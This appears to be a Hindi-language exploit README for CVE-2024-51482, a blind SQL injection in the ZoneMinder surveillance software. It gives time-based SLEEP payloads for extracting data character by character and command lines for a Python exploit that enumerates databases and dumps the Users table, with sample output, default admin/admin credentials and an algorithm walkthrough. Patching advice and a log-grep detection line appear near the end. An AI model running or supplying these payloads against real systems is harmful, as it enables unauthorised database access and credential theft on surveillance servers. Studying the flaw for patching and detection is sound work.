##
# CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन
CVE-2024-51482 ZoneMinder, एक लोकप्रिय ओपन-सोर्स सीसीटीवी निगरानी सॉफ्टवेयर, में खोजा गया एक गंभीर बूलियन-आधारित SQL इंजेक्शन भेद्यता है। यह दोष संस्करण 1.37.* से 1.37.64 तक प्रभावित करता है और कम विशेषाधिकार वाले प्रमाणित हमलावरों को अंतर्निहित डेटाबेस सर्वर पर मनमाना SQL कमांड निष्पादित करने की अनुमति देता है।
**प्रभाव**| गोपनीयता, अखंडता, उपलब्धता - उच्च
* **असुरक्षित:** ZoneMinder v1.37.0 से v1.37.64 तक।
* **पैच किया गया:** ZoneMinder v1.37.65 और बाद के संस्करण।
भेद्यता `web/ajax/event.php` फ़ाइल में `removetag` फ़ंक्शन में मौजूद है। पैरामीटर `tid` (टैग आईडी) को उचित स्वच्छता या पैरामीटरीकरण के बिना सीधे SQL क्वेरी में जोड़ा जाता है।
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE!
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query
असुरक्षित एंडपॉइंट को निम्नलिखित के माध्यम से ट्रिगर किया जा सकता है:
### बूलियन-आधारित ब्लाइंड इंजेक्शन क्यों?
इंजेक्शन पॉइंट प्रतिक्रिया में सीधे क्वेरी परिणाम नहीं लौटाता है, जिससे पारंपरिक UNION-आधारित हमले असंभव हो जाते हैं। इसके बजाय, हमें बूलियन स्थितियों या समय विलंब के माध्यम से जानकारी का अनुमान लगाना चाहिए।
* असत्य स्थिति → सामान्य प्रतिक्रिया समय।
* एप्लिकेशन व्यवहार में देखने योग्य अंतर की आवश्यकता है।
* **समय-आधारित दृष्टिकोण (अधिक विश्वसनीय):**
* सत्य स्थिति → विलंबित प्रतिक्रिया (SLEEP)।
* असत्य स्थिति → सामान्य प्रतिक्रिया समय।
हमारा शोषण `SLEEP()` फ़ंक्शन के साथ समय-आधारित निष्कर्षण का उपयोग करता है:
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
जब यह स्थिति सत्य का मूल्यांकन करती है, तो डेटाबेस 2 सेकंड के लिए सो जाता है, HTTP प्रतिक्रिया में एक मापने योग्य विलंब पैदा करता है।
* **बाइनरी खोज:** प्रत्येक वर्ण स्थिति के लिए, हम `ASCII(SUBSTRING()) > MID` का उपयोग करके श्रेणियों का परीक्षण करते हैं।
* **समय माप:** यदि स्थिति सत्य है, तो `SLEEP` ट्रिगर होता है।
* **वर्ण पुनर्निर्माण:** स्ट्रिंग को वर्ण दर वर्ण बनाएं।
स्थिति 1 पर वर्ण निकालने के लिए पेलोड उदाहरण:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
* लक्ष्य ZoneMinder 1.37.0 - 1.37.64 चला रहा है।
* मान्य क्रेडेंशियल (डिफ़ॉल्ट: admin/admin)।
* ZoneMinder वेब इंटरफ़ेस तक नेटवर्क पहुंच।
git clone
python3 CVE-2024-51482.py -i -u admin -p admin --test
python3 CVE-2024-51482.py -i -u admin -p admin --discover
# किसी विशिष्ट डेटाबेस में तालिकाएँ सूचीबद्ध करें
python3 CVE-2024-51482.py -i -u admin -p admin --tables zm
# किसी विशिष्ट तालिका में कॉलम सूचीबद्ध करें
python3 CVE-2024-51482.py -i -u admin -p admin --columns zm Users
python3 CVE-2024-51482.py -i -u admin -p admin --dump zm Users "Username,Password"
python3 CVE-2024-51482.py -i -u admin -p admin --users
# विस्तृत निष्कर्षण प्रक्रिया के लिए डीबग आउटपुट सक्षम करें
python3 CVE-2024-51482.py -i -u admin -p admin --users --debug
# अधिक विश्वसनीय निष्कर्षण के लिए स्लीप समय समायोजित करें
python3 CVE-2024-51482.py -i -u admin -p admin --users --sleep 3
python3 CVE-2024-51482.py -i -u admin -p admin --users --no-color
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] 'admin' के रूप में 192.168.1.100 पर लॉगिन हो रहा है...
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
$ python3 CVE-2024-51482.py -i -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] 'admin' के रूप में पर लॉगिन हो रहा है...
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
**उदाहरण 3: उपयोगकर्ता क्रेडेंशियल डंप करना**
$ python3 CVE-2024-51482.py -i -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] 'admin' के रूप में पर लॉगिन हो रहा है...
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[*] zm डेटाबेस से Users तालिका डंप की जा रही है...
[*] 'zm.Users' में कॉलम गिने जा रहे हैं...
[*] 'zm.Users' से डेटा डंप किया जा रहा है...
[+] पंक्ति 1: {'Username': 'admin', 'Password': '$2y$10$...हैश किया गया...'}
[+] पंक्ति 2: {'Username': 'operator', 'Password': '$2y$10$...हैश किया गया...'}
python3 CVE-2024-51482.py -i -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
1. **प्रमाणीकरण:** स्क्रिप्ट पहले एक मान्य सत्र कुकी प्राप्त करने के लिए ZoneMinder में प्रमाणित होती है।
2. **बेसलाइन माप:** औसत प्रतिक्रिया समय स्थापित करने के लिए 5 सामान्य अनुरोध भेजता है।
3. **भेद्यता पुष्टि:** इंजेक्शन काम करता है यह सत्यापित करने के लिए `SLEEP(2)` पेलोड के साथ परीक्षण करता है।
4. **वर्ण निष्कर्षण:** प्रत्येक वर्ण स्थिति के लिए, बाइनरी खोज ASCII मान निर्धारित करती है:
* क्वेरी: `ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}` .
* यदि स्थिति सत्य → `SLEEP` ट्रिगर → प्रतिक्रिया विलंबित।
5. **स्ट्रिंग पुनर्निर्माण:** पूर्ण स्ट्रिंग बनाने के लिए वर्णों को जोड़ा जाता है।
* **बाइनरी सर्च एल्गोरिदम:** प्रति वर्ण लॉग₂(९५) ≈ ७ अनुरोधों में वर्ण निकालता है।
* **अनुकूली समय:** सटीक पहचान के लिए स्वचालित रूप से बेसलाइन को कैलिब्रेट करता है।
* **प्रगति संकेतक:** वास्तविक समय निष्कर्षण प्रगति दिखाता है।
* **त्रुटि पुनर्प्राप्ति:** कनेक्शन टाइमआउट को शालीनता से संभालता है।
* **डीबग मोड:** विस्तृत वर्ण-दर-वर्ण निष्कर्षण दिखाता है।
* **ZoneMinder को संस्करण 1.37.65 या बाद के संस्करण में अपडेट करें:**
* **यदि पैचिंग संभव नहीं है, तो असुरक्षित स्क्रिप्ट तक पहुंच प्रतिबंधित करें:**
* डेटाबेस खातों के लिए कम से कम विशेषाधिकार का सिद्धांत लागू करें।
* **संदिग्ध SQL इंजेक्शन प्रयासों के लिए लॉग की निगरानी करें:**
grep -i "sleep\|union\|select" /var/log/zm/*.log
* सभी डेटाबेस इंटरैक्शन के लिए पैरामीटरीकृत क्वेरी का उपयोग करें।
* वेब एप्लिकेशन फ़ायरवॉल (WAF) नियम लागू करें।
* नियमित सुरक्षा ऑडिट और पेनिट्रेशन टेस्टिंग।
* ZoneMinder और सभी निर्भरताओं को अद्यतित रखें।
* GitHub सुरक्षा सलाह - GHSA-qm8h-3xvf-m7j3
यह उपकरण केवल शैक्षिक और सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम का अनधिकृत परीक्षण अवैध है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H**
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
